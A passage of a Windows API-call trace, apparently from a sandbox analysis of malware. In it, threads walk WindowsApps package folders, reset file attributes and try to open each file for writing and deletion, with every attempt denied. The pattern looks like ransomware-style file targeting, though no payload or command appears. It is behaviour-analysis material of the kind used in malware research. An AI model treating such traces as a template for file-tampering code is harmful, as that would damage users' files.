	[0090.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c210) returned 1
	[0090.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b648) returned 1
	[0090.208] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1822f246, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1822f246, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1822f246, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.208] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.208] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x50277c8
	[0090.208] wcscpy (in: _Dest=0x50277c8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0090.208] wcscat (in: _Dest=0x50277c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.208] wcscat (in: _Dest=0x50277c8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.208] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.210] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.210] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.210] GetLastError () returned 0x5
	[0090.210] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50277c8) returned 1
	[0090.210] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf78d353e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb2264fc2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.210] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.210] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d7c580
	[0090.210] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0090.211] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.211] wcscat (in: _Dest=0x2d7c580, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4732810
	[0090.211] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.211] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.211] wcscat (in: _Dest=0x4732810, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c210
	[0090.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf78d353e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb2264fc2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.211] wcscmp (_String1=".", _String2=".") returned 0
	[0090.211] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf78d353e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb2264fc2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.211] wcscmp (_String1="..", _String2=".") returned 1
	[0090.211] wcscmp (_String1="..", _String2="..") returned 0
	[0090.211] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf78d353e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb2264fc2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.211] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c210) returned 1
	[0090.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.212] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf78d353e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb2264fc2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.212] FindClose (in: hFindFile=0x46a8798 | out: hFindFile=0x46a8798) returned 1
	[0090.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33f58) returned 1
	[0090.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e110) returned 1

Thread:
	id = 1036
	os_tid = 0x1ca0

	[0082.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb9d8
	[0082.679] wcscpy (in: _Dest=0x47eb9d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.679] wcscat (in: _Dest=0x47eb9d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.679] wcscat (in: _Dest=0x47eb9d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b870
	[0082.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f88bbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a87d8
	[0082.680] wcscmp (_String1=".", _String2=".") returned 0
	[0082.680] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f88bbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.680] wcscmp (_String1="..", _String2=".") returned 1
	[0082.680] wcscmp (_String1="..", _String2="..") returned 0
	[0082.680] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f88bbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50faee11, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50faee11, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1102, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.680] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.680] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481cb80
	[0082.680] wcscpy (in: _Dest=0x481cb80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.680] wcscat (in: _Dest=0x481cb80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.680] wcscat (in: _Dest=0x481cb80, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.147] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.149] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.149] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.149] GetLastError () returned 0x5
	[0090.149] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481cb80) returned 1
	[0090.149] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f88bbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50f88bbd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50f88bbd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.149] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.149] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5026d78
	[0090.149] wcscpy (in: _Dest=0x5026d78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.149] wcscat (in: _Dest=0x5026d78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.149] wcscat (in: _Dest=0x5026d78, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.149] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.153] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.153] GetLastError () returned 0x5
	[0090.153] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026d78) returned 1
	[0090.153] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50faee11, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50faee11, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.153] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.153] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500c0f8
	[0090.153] wcscpy (in: _Dest=0x500c0f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.153] wcscat (in: _Dest=0x500c0f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.153] wcscat (in: _Dest=0x500c0f8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.153] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.157] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.157] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.157] GetLastError () returned 0x5
	[0090.157] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500c0f8) returned 1
	[0090.157] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50faee11, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb236c85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.157] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.157] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bff8
	[0090.157] wcscpy (in: _Dest=0x491bff8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.157] wcscat (in: _Dest=0x491bff8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.157] wcscat (in: _Dest=0x491bff8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491caa0
	[0090.158] wcscpy (in: _Dest=0x491caa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.158] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.158] wcscat (in: _Dest=0x491caa0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0090.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bad8
